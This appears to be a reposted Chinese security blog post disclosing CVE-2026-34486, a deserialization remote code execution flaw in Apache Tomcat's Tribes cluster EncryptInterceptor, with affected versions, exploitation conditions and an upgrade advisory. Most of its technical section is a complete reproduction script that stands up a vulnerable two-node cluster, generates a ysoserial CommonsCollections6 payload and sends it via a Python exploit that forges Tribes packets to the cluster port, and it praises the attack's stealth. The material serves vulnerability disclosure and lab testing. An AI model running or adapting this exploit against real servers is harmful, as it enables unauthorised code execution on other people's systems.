文章总结: 该文档披露了ApacheTomcat远程代码执行漏洞CVE-2026-34486的技术细节,该漏洞源于对CVE-2026-29146修复补丁的异常处理缺陷,导致启用Tribes集群并配置EncryptInterceptor时,攻击者可通过向集群端口发送特制报文触发反序列化实现任意代码执行。影响版本包括Tomcat9.0.116、10.1.53和11.0.20,文档提供了漏洞复现脚本和利用条件分析,并建议用户升级至安全版本。 综合评分: 87 文章分类: 漏洞分析,漏洞预警,WEB安全,应用安全,解决方案
CVE-2026-34486|Apache Tomcat远程代码执行漏洞(POC)
alicy alicy
信安百科
2026年4月20日 09:01 河北
在小说阅读器读本章
去阅读
0x00 前言
Tomcat是Apache软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun和其他一些公司及个人共同开发而成。
Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。
Tomcat和Nginx、Apache(httpd)、lighttpd等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Nginx/Apache服务器。
0x01 漏洞描述
漏洞的出现与针对CVE-2026-29146的修复补丁有关。
在对EncryptInterceptor组件进行安全加固时,消息接收方法messageReceived()内部的异常处理流程发生了改变,这导致了当接收到的集群通信数据无法正常解密时,代码路径未能终止当前请求的处理,而是忽略了该异常状态并继续将原始的、未经解密验证的数据向后续处理环节传递。
在启用Tribes集群并配置加密拦截器的场景下,远程攻击者能够向集群监听端口(默认为4000)提交特制的协议报文,且该报文无需遵守正常的加密规范。
若当前应用环境或依赖库中已存在可利用的Gadget类,攻击者便获得了在服务器进程上下文中执行任意系统命令或代码的能力。
利用条件:
1.Tomcat 服务器启用了 Tribes 集群功能。
2.集群通信配置了EncryptInterceptor拦截器。
3.攻击者可访问Tomcat服务器的集群通信端口(默认为TCP 4000端口)。
4.目标服务器的Java类路径(Classpath)中存在可利用的反序列化Gadget链。
0x02 CVE编号
CVE-2026-34486
0x03 影响版本
Apache Tomcat 11.0.20Apache Tomcat 10.1.53Apache Tomcat 9.0.116
0x04 漏洞详情
POC:
https://github.com/AirSkye/CVE-2026-34486-poc
#!/usr/bin/env bash#===============================================================================# CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞 一键复现脚本## 漏洞原理: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg)# 被移到 try-catch 块外面,解密失败后原始字节仍被传递给后续处理链,# 最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。## 受影响版本: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20## 本脚本仅用于授权的安全研究环境,严禁用于非法用途。#===============================================================================
set -e
# ==================== 配置区 ====================TOMCAT_VERSION="9.0.116"TOMCAT_MAJOR="9"WORKDIR="/opt/cve-2026-34486-lab"NODE1_HTTP_PORT=18080NODE2_HTTP_PORT=28080NODE1_SHUTDOWN_PORT=18005NODE2_SHUTDOWN_PORT=18005NODE1_TRIBES_PORT=4000NODE2_TRIBES_PORT=4001ENCRYPTION_KEY_HEX="546869734973415365637265744B6579" # "ThisIsASecretKey" 的十六进制RCE_MARKER="/tmp/CVE-2026-34486-PWNED"YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar"
# ==================== 颜色输出 ====================RED='\033[0;31m'GREEN='\033[0;32m'YELLOW='\033[1;33m'CYAN='\033[0;36m'NC='\033[0m'
info() { echo -e "${CYAN}[*]${NC} $1"; }ok() { echo -e "${GREEN}[+]${NC} $1"; }warn() { echo -e "${YELLOW}[!]${NC} $1"; }fail() { echo -e "${RED}[-]${NC} $1"; exit 1; }
# ==================== 1. 检测并安装依赖 ====================info "步骤 1/8: 检测并安装依赖..."
# 检测 rootif [ "$EUID" -ne 0 ]; then fail "请使用 root 权限运行此脚本 (sudo ./cve-2026-34486-repro.sh)"fi
# 安装基础工具apt-get update -qqapt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1
# 验证 Javaexport JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac))))java -version 2>&1 | head -1ok "Java 已就绪: $JAVA_HOME"
# 验证 Python3python3 --versionok "Python3 已就绪"
# ==================== 2. 创建工作目录 ====================info "步骤 2/8: 创建工作目录..."rm -rf "$WORKDIR"mkdir -p "$WORKDIR"cd "$WORKDIR"
# ==================== 3. 下载 Tomcat 漏洞版本 ====================info "步骤 3/8: 下载 Apache Tomcat ${TOMCAT_VERSION} (漏洞版本)..."
TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}.tar.gz"
wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "下载 Tomcat 失败,请检查网络连接"ok "Tomcat ${TOMCAT_VERSION} 下载完成"
tar -xzf tomcat.tar.gzcp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2ok "Tomcat 解压完成 (两个节点)"
# ==================== 4. 安装 Gadget 库 ====================info "步骤 4/8: 下载 Commons Collections 3.1..."
wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "下载 Commons Collections 失败"cp commons-collections-3.1.jar tomcat-node1/lib/cp commons-collections-3.1.jar tomcat-node2/lib/ok "Commons Collections 3.1 已安装到两个节点"
# ==================== 5. 下载 ysoserial ====================info "步骤 5/8: 下载 ysoserial..."
wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "下载 ysoserial 失败"ok "ysoserial 下载完成"
# ==================== 6. 配置 Tomcat 集群 ====================info "步骤 6/8: 配置 Tomcat 集群 + EncryptInterceptor..."
# --- Node1 server.xml ---cat > /tmp/node1-server.xml.patch.py << 'PYEOF'import re, sys
with open(sys.argv[1], 'r') as f: xml = f.read()
# 修改 HTTP 端口xml = xml.replace('port="8080"', f'port="{sys.argv[2]}"', 1)# 修改 shutdown 端口xml = xml.replace('port="8005"', f'port="{sys.argv[3]}"', 1)
# 在 <Engine> 标签后插入集群配置cluster_xml = ''' <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster" channelSendOptions="8"> <Manager className="org.apache.catalina.ha.session.DeltaManager" expireSessionsOnShutdown="false" notifyListenersOnReplication="true"/> <Channel className="org.apache.catalina.tribes.group.GroupChannel"> <Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor" encryptionAlgorithm="AES/CBC/PKCS5Padding" encryptionKey="''' + sys.argv[4] + '''"/> <Membership className="org.apache.catalina.tribes.membership.McastService" address="228.0.0.4" port="45564" frequency="500" dropTime="3000"/> <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver" address="auto" port="''' + sys.argv[5] + '''" autoBind="100" selectorTimeout="5000" maxThreads="6"/> <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter"> <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/> </Sender> <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/> <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatchInterceptor"/> </Channel> <Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/> <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/> <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/> </Cluster>'''
# 替换被注释的 Cluster 占位符xml = re.sub( r'<!--For clustering.*?<!--\s*<Cluster[^/]*/>\s*-->', cluster_xml, xml, flags=re.DOTALL)
with open(sys.argv[1], 'w') as f: f.write(xml)PYEOF
python3 /tmp/node1-server.xml.patch.py \ "$WORKDIR/tomcat-node1/conf/server.xml" \ "$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \ "$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT"
python3 /tmp/node1-server.xml.patch.py \ "$WORKDIR/tomcat-node2/conf/server.xml" \ "$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \ "$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT"
ok "server.xml 配置完成 (Node1: 端口${NODE1_TRIBES_PORT}, Node2: 端口${NODE2_TRIBES_PORT})"
# 创建 web.xml (启用 Session 复制)for node in tomcat-node1 tomcat-node2; do mkdir -p "$node/webapps/ROOT/WEB-INF" cat > "$node/webapps/ROOT/WEB-INF/web.xml" << 'XMLEOF'<?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <distributable/></web-app>XMLEOFdoneok "web.xml 配置完成 (distributable)"
# ==================== 7. 启动集群并攻击 ====================info "步骤 7/8: 启动 Tomcat 集群..."
chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh
export JAVA_HOMEcd "$WORKDIR/tomcat-node1" && bin/catalina.sh startcd "$WORKDIR/tomcat-node2" && bin/catalina.sh startcd "$WORKDIR"
info "等待集群启动 (15秒)..."sleep 15
# 检查端口if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then fail "Node1 Tribes 端口 ${NODE1_TRIBES_PORT} 未监听,集群启动可能失败"fiok "集群已启动,Tribes 端口 ${NODE1_TRIBES_PORT} 已监听"
# 获取本机 IPLOCAL_IP=$(hostname -I | awk '{print $1}')info "本机 IP: ${LOCAL_IP}"
# 生成 payloadinfo "生成反序列化 Payload (CommonsCollections6)..."
# 检测 Java 主版本,决定是否需要 --add-opensJAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1)ADD_OPENS=""if [ "$JAVA_MAJOR" -ge 16 ]; then ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED"fi
$JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \ CommonsCollections6 "touch ${RCE_MARKER}" \ > "$WORKDIR/payload_touch.bin" 2>/dev/null
if [ ! -s "$WORKDIR/payload_touch.bin" ]; then fail "Payload 生成失败"fiok "Payload 生成成功 ($(wc -c < "$WORKDIR/payload_touch.bin") bytes)"
# 编写 Python PoCcat > "$WORKDIR/exploit.py" << 'PYEXPLOIT'#!/usr/bin/env python3"""CVE-2026-34486 PoC - EncryptInterceptor Bypass"""import socket, struct, sys, os, time
START_DATA = b"FLT2002"END_DATA = b"TLF003"TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"TRIBES_MBR_END = b"TRIBES-E\x01\x00"
def build_member_data(host_bytes, port): inner = b"" inner += struct.pack(">q", 0) inner += struct.pack(">i", port) inner += struct.pack(">i", 0) inner += struct.pack(">i", 0) inner += struct.pack(">b", len(host_bytes)) inner += host_bytes inner += struct.pack(">i", 0) inner += struct.pack(">i", 0) inner += os.urandom(16) inner += struct.pack(">i", 0) return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END
def build_channel_data(message_body, host_bytes, port): unique_id = os.urandom(16) member_data = build_member_data(host_bytes, port) cd = b"" cd += struct.pack(">i", 0) cd += struct.pack(">q", int(time.time() * 1000)) cd += struct.pack(">i", len(unique_id)) cd += unique_id cd += struct.pack(">i", len(member_data)) cd += member_data cd += struct.pack(">i", len(message_body)) cd += message_body return cd
def send_exploit(target_ip, target_port, payload_file, receiver_port): with open(payload_file, 'rb') as f: raw_payload = f.read() host_bytes = socket.inet_aton(target_ip) channel_data = build_channel_data(raw_payload, host_bytes, receiver_port) packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.sendall(packet) try: sock.recv(4096) except socket.timeout: pass sock.close()
if __name__ == '__main__': send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))PYEXPLOIT
chmod +x "$WORKDIR/exploit.py"
# 发送攻击info "发送攻击 Payload 到 ${LOCAL_IP}:${NODE1_TRIBES_PORT}..."python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT"
info "等待攻击生效 (5秒)..."sleep 5
# ==================== 8. 验证结果 ====================info "步骤 8/8: 验证漏洞触发..."
echo ""echo "======================================================================"echo -e "${RED} CVE-2026-34486 复现结果${NC}"echo "======================================================================"echo ""
# 检查 RCE 标志文件if [ -f "$RCE_MARKER" ]; then echo -e " ${GREEN}✅ RCE 成功!${NC} 标志文件已创建:" echo "" ls -la "$RCE_MARKER" echo ""else echo -e " ${RED}❌ RCE 未触发${NC},标志文件 ${RCE_MARKER} 不存在" echo ""fi
# 检查受害者日志echo " 受害者日志 (解密失败记录):"echo " ----------------------------------------------------------------------"grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 || echo " (未找到解密失败日志)"echo ""echo " 受害者日志 (EncryptInterceptor 启动确认):"echo " ----------------------------------------------------------------------"grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo " (未找到 EncryptInterceptor 日志)"echo ""echo " 受害者日志 (集群成员发现):"echo " ----------------------------------------------------------------------"grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo " (未找到集群成员日志)"echo ""
# 检查是否有反序列化异常(不应该有)if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then echo -e " ${YELLOW}[!] 检测到反序列化异常日志(可能 gadget chain 不兼容)${NC}"else echo -e " ${GREEN}✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)${NC}"fi
echo ""echo "======================================================================"echo ""echo " 环境信息:"echo " - 工作目录: ${WORKDIR}"echo " - Node1: HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}"echo " - Node2: HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}"echo " - Tomcat 版本: ${TOMCAT_VERSION} (漏洞版本)"echo " - RCE 标志: ${RCE_MARKER}"echo ""echo " 清理命令:"echo " cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh"echo " cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh"echo " rm -f ${RCE_MARKER}"echo " rm -rf ${WORKDIR}"echo ""echo "======================================================================"
(图片来源于网络)
0x05 参考链接
https://lists.apache.org/thread/9510k5p5zdvt9pkkgtyp85mvwxo2qrly/
推荐阅读:
CVE-2025-55752|Apache Tomcat目录遍历漏洞(POC)
CVE-2025-24813|Apache Tomcat远程代码执行漏洞(POC)
CVE-2024-50379|Apache Tomcat竞争条件远程代码执行漏洞(POC)
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信安百科 alicy alicy《CVE-2026-34486|Apache Tomcat远程代码执行漏洞(POC)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论